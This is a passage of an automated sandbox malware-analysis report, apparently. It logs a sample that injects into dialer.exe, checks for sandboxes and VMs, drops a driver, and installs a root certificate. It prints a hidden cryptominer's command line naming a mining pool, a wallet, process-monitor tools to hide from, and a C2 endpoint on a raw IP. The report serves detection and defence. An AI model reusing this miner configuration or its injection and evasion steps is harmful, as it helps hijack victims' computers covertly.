Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\dialer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Windows\System32\dialer.exe	Code function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,		14_2_00000001400010C0
Source: C:\Windows\System32\dialer.exe	Code function: OpenProcess,OpenProcess,K32GetModuleFileNameExW,PathFindFileNameW,lstrlenW,StrCpyW,CloseHandle,StrCmpIW,NtQueryInformationProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,StrStrA,VirtualAllocEx,WriteProcessMemory,NtCreateThreadEx,WaitForSingleObject,GetExitCodeThread,CloseHandle,CloseHandle,		42_2_00000001400010C0

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\dialer.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: dialer.exe, 0000002D.00000002.3378194513.0000021C6D1F4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: dialer.exe, 0000002D.00000002.3378194513.0000021C6D165000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DIALER.EXE--ALGO=RX/0--URL=POOL.SUPPORTXMR.COM:8080--USER=4335MEZGWWSMBW161UQP6WAQYXZTRVXWSBPKZPXTXXAH4MTOXXBIERHGBAB8XHDZAEMKWWVNP49WWK5RIBJ37AK2AZKAEKR--PASS=XC--CPU-MAX-THREADS-HINT=30--CINIT-WINRING=FTNVUQWJTDWB.SYS--CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE--CINIT-API=HTTP://83.217.209.235/YZYZYZYZNZNNZNZXNCXZHZXCHZCXHCXZHZXCHZCXZXCJJKASDJKSAJKDSA/API/ENDPOINT.PHP--CINIT-VERSION=3.4.0--CINIT-IDLE-WAIT=15--CINIT-IDLE-CPU=80--CINIT-ID=LDNDHOAIFLKHPADL
Source: dialer.exe, 0000002D.00000002.3378194513.0000021C6D1F4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXEC
Source: dialer.exe, 0000002D.00000002.3378194513.0000021C6D165000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: --CINIT-STEALTH-TARGETS=TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
Source: dialer.exe, 0000002D.00000003.2147213918.0000021C6D181000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXEHTTP://83.217.209.235/YZYZYZYZNZNNZNZXNCXZHZXCHZCXHCXZHZXCHZCXZXCJJKASDJKSAJKDSA/API/ENDPOINT.PHPLDNDHOAIFLKHPADL
Source: dialer.exe, 0000002D.00000003.2147213918.0000021C6D181000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 0000002D.00000002.3378194513.0000021C6D206000.00000004.00000020.00020000.00000000.sdmp, dialer.exe, 0000002D.00000002.3378194513.0000021C6D165000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXE
Source: dialer.exe, 0000002D.00000002.3378194513.0000021C6D165000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TASKMGR.EXE,PROCESSHACKER.EXE,PERFMON.EXE,PROCEXP.EXE,PROCEXP64.EXEMN

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5991	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3829	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 8510	Jump to behavior
Source: C:\Windows\System32\winlogon.exe	Window / User API: threadDelayed 1488	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Window / User API: threadDelayed 9928	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7178
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2346
Source: C:\Windows\System32\dwm.exe	Window / User API: threadDelayed 9874	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Window / User API: threadDelayed 1803

Source: C:\ProgramData\IGaming\driver.exe

Dropped PE file which has not been started: C:\Windows\Temp\ftnvuqwjtdwb.sys

Jump to dropped file

Source: C:\Windows\System32\lsass.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep			graph_27-14949
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep			graph_30-14927

Source: C:\Windows\System32\dialer.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_14-480

Source: C:\Users\user\Desktop\file.exe	API coverage: 3.1 %
Source: C:\ProgramData\IGaming\driver.exe	API coverage: 3.1 %
Source: C:\Windows\System32\lsass.exe	API coverage: 6.6 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %
Source: C:\Windows\System32\dialer.exe	API coverage: 0.9 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.8 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 7.1 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.7 %
Source: C:\Windows\System32\svchost.exe	API coverage: 4.8 %
Source: C:\Windows\System32\svchost.exe	API coverage: 7.2 %
Source: C:\Windows\System32\svchost.exe	API coverage: 6.1 %
